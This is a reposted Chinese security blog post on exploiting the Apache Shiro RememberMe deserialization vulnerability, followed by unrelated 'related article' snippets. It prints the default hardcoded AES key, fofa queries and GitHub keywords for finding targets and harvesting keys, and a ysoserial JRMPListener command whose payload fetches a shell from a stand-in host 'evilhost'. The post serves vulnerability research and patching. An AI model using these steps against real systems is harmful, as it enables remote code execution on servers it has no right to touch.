4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本改进。主要修改了检测方式,并使利用方式更加简单灵活,使其更具有实战意义,提升其效率。漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏洞利用条件
由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。检测与利用

目标发现与寻找
Shrio框架的特征是登录页面的cookie中存在remeberMe=deleteMe(失败时返回的值)的内容。通过该特征发现Shiro的系统有几种方式:
1、在登录页面时,提交表单后看set-cookie是否存在remeberMe=deleteMe。

621f0dcc5139599275d49c4ef96d66e6.png


2、在流量中搜索remeberMe=deleteMe。

aa88d1dc3ad06579ea92e62b9f0e5071.png


3、通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。
例如fofa的搜索关键词:header="rememberme=deleteMe"、header="shiroCookie"

566a721bb63370f2581caed09e579a37.png

漏洞检测
漏洞检测的面临的问题:
1、该漏洞无法回显
2、系统环境复杂
3、aes的key可能被修改。
对于第一个问题,可以通过dnslog平台,使用ysoserial的URLDNS Gadget来检测,使用这个Gadget好处就是通用。这种检测也可以解决系统环境复杂的问题。但是这里要注意解析会有ttl值缓存,检测时建议每次随机生成一个子域名。
对于第三个问题,我们可以通过网络收集,文件读取漏洞来获取key。通过github,搜索引擎这里收集到了23个key。
这里列出搜索关键词或者文件路径:
github搜索关键词securityManager.rememberMeManager.cipherKey cookieRememberMeManager.setCipherKey setCipherKey(Base64.decode
配置文件路径或者名
WEB-INF/shiro.ini
ShiroConfig.java

2bc4d7c3ff926725282d11698c801b3f.png

利用方式
根据大牛的文章以及实际测试,漏洞利用目前使用jndi和jrmp比较好。使用ysoserial的exploit功能即可。
服务器上执行java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'curl evilhost/shell –o shell'
本地通过JRMPClient的payload链接服务器上的JRMP服务使用网上的漏洞利用工具发送即可利用成功。
漏洞脚本地址:Shiro_exploit

修复建议
1、不要使用硬编码,不要使用硬编码,不要使用硬编码。

参考链接http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.htmlhttps://issues.apache.org/jira/browse/SHIRO-550https://blog.knownsec.com/2016/08/apache-shiro-java/https://www.cnblogs.com/loong-hon/p/10619616.htmlhttps://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/https://www.freebuf.com/vuls/178014.htmlhttps://www.cnblogs.com/peterpan0707007/p/11342997.htmlhttps://github.com/frohoff/ysoserial

  • 本文作者: BaCde's Blog
  • 本文链接: Apache Shiro 反序列化漏洞实战
  • 版权声明: 本博客所有文章除特别声明外,转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/556929.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

文件读取 linux_Linux 进程、线程、文件描述符的底层原理

说到进程,恐怕面试中最常见的问题就是线程和进程的关系了,那么先说一下答案:在 Linux 系统中,进程和线程几乎没有区别。Linux 中的进程其实就是一个数据结构,顺带可以理解文件描述符、重定向、管道命令的底层工作原理&…

中如何拉取git代码_git使用教程4pycharm拉取git仓库项目代码

前言当我们在github上看到别人写的项目,想拉到本地学习下。如何用pycharm把git仓库的代码拉取到本地电脑呢?环境准备:1.本地电脑已经安装了git2.已经注册过github账号3.pycharmpycharm配置先自己注册github账号,本地安装git环境&a…

lombok之@Slf4j注解

应用背景:如果不想每次都在实体类中写private final Logger logger LoggerFactory.getLogger(当前类名.class); 可以使用注解Slf4j Sl4j注解是是属于lombok中的一个注解,所以在使用该注解之前一定要引入lombok的依赖,同时IDEA还需要已经安装…

回归指令_用一条指令在新款 Mac 上找回经典的开机启动声

多年使用 Mac 的老用户肯定知道,Mac 在启动时会发出一声「噔~」的启动声音,伴随着 Apple logo 在屏幕上亮起,Mac 正在安全地启动。但如果你在最近几年换了新款 Mac 电脑,你会发现这个熟悉的启动音消失不见了。就像 Mag…

@DateTimeFormat注解

DateTimeFormat注解位于spring-context-5.0.10.RELEASE.jar包中 import org.springframework.format.annotation.DateTimeFormat; import java.util.Date;public class User {//姓名private String name;//出生日期DateTimeFormat(pattern "yyyy-MM-dd")private Da…

Gson之toJson和fromJson方法

Gson是Google的一个开源项目,可以将Java对象转换成JSON,也可能将JSON转换成Java对象。 Gson里最重要的对象有2个Gson 和 GsonBuilder Gson有2个最基本的方法 toJson() – 转换java 对象到JSONfromJson() – 转换JSON到java对象 引入依赖:…

Gson详解(二)

1.复杂Json转成对象 比如:jsonString:{“response”:{“content”:"\n\t",“msg”:“成功”,“code”:“0”,“data{“content”:”\n\t",“VIN”:“LDC12345678901234”},“cmd”:“ScanVINCode”}} Gson解析 Gson gson new Gson();roodBean gs…

Java使用GSON对JSON进行解析——IDEA引入jar包方式

GSON GSON是Google公司开发的用于解析json的类库。可以很轻松地让程序员将java对象转换成JSON格式,或者将JSON格式的对象转换成Java对象。 使用方法很简单: 首先,需要将GSON类库的jar包引入到自己的IDE中,本教程使用IDEA为例子…

mysql查询姓王的信息代码_MySQL查询语句练习题

1.创建student和score表CREATE TABLE student (id INT(10) NOT NULL UNIQUE PRIMARY KEY ,name VARCHAR(20) NOT NULL ,sex VARCHAR(4) ,birth YEAR,department VARCHAR(20) ,address VARCHAR(50));创建score表。SQL代码如下:CREATE TABLE score (i…

IoT -- (四) 物联网系统架构介绍

物联网系统框架介绍 下面将谈到几个关键问题: 设备如何接入网络?设备间如何通信?物联网数据的用途?如何搭建起一个物联网系统框架呢?它的技术架构又是怎么样呢?物联网终端软件系统架构?物联网云平台系统…

IoT -- (五) IoT都有哪些通信协议

IOT都有哪些通信协议? 在物联网协议中,我们一般分为两大类,一类是传输协议,一类是通信协议。那么,物联网都有哪些通信协议呢? 在物联网协议中,我们一般分为两大类,一类是传输协议&#xff0c…

IoT -- (六) MQTT和CoAP对比分析

IoT物联网需要标准协议,针对小设备最有前景的两种是MQTT和CoAP。 MQTT和CoAP两者均: 开放标准; 比HTTP更适合于受限环境; 提供异步传输机制; 在IP上运行; 有很多种实现 MQTT在传输模式上更为灵活&am…

IoT -- (八)MQTT优缺点

物联网并不仅仅是一种网络,而是一个新的生态环境,它描述的本质是越来越多的使用物品通过网络连接在一起并可使用单个或者多个的终端设备对它们进行各种控制和使用—当然,工业上的物联网通常连接到的石鼓传感器或者其他数据采集仪器以及行为单…

mysql 平滑扩容_数据库秒级平滑扩容架构方案

一、缘起(1)并发量大,流量大的互联网架构,一般来说,数据库上层都有一个服务层,服务层记录了“业务库名”与“数据库实例”的映射关系,通过数据库连接池向数据库路由sql语句以执行:如上图:服务层…

IoT -- (九) IoT通讯技术选型与模型设计

IoT时代的无线通讯技术 “世界上最遥远的距离就是没有网络”,网络通讯是IoT的基础,常见的无线网络通讯技术有:WiFi、NFC、ZigBee、Bluetooth、WWAN(Wireless Wide Area Network,包括GPRS、3G、4G、5G等)、…

SSM中PageHelper的使用步骤与com.github.pagehelper.PageHelper3系列与5系列的区别

SSM中PageHelper的使用步骤 一. 在pom.xml导入依赖 <dependency><groupId>com.github.pagehelper</groupId><artifactId>pagehelper</artifactId><version>5.1.2</version></dependency>二. 交给IOC管理 在SqlSessionFactory…

@requestbody和@requestparam作用

1、什么都不写 GET 可以自动封装为对象模型&#xff0c;没有的数值自动为0值 POST 请求体里面放了数据&#xff0c;但是还是使用了RequestParam里的数据 总结&#xff1a; 在不使用注解的情况下&#xff0c;相当于默认使用了RequestParam里的数据 &#xff08;这种理解是错…

@RequestBody的使用

提示&#xff1a;建议一定要看后面的RequestBody的核心逻辑源码以及六个重要结论本文前半部分的内容都是一些基 本知识常识&#xff0c;可选择性跳过。 声明&#xff1a;本文是基于SpringBoot&#xff0c;进行的演示说明。 基础知识介绍&#xff1a; ​ RequestBody主要用来接…

@RequestBody 和 @RequestParam可以同时使用

RequestParam和RequestBody这两个注解是可以同时使用的。 网上有很多博客说RequestParam 和RequestBody不能同时使用&#xff0c;这是错误的。根据HTTP协议&#xff0c;并没有说post请求不能带URL参数&#xff0c;经验证往一个带有参数的URL发送post请求也是可以成功的。只不过…

mysql索引使增删变慢_mysql优化之索引篇

mysql&#xff0c;对it打工人&#xff0c;这个几乎是必备的技能之一。mysql可以解决我们平时工作中的大量的、有关增删查改的问题。所以想深入了解mysql&#xff0c;我觉得关键在于他的增删查改背后的算法&#xff0c;开搞。面对增删查改等问题&#xff0c;直接通过场景来看吧场…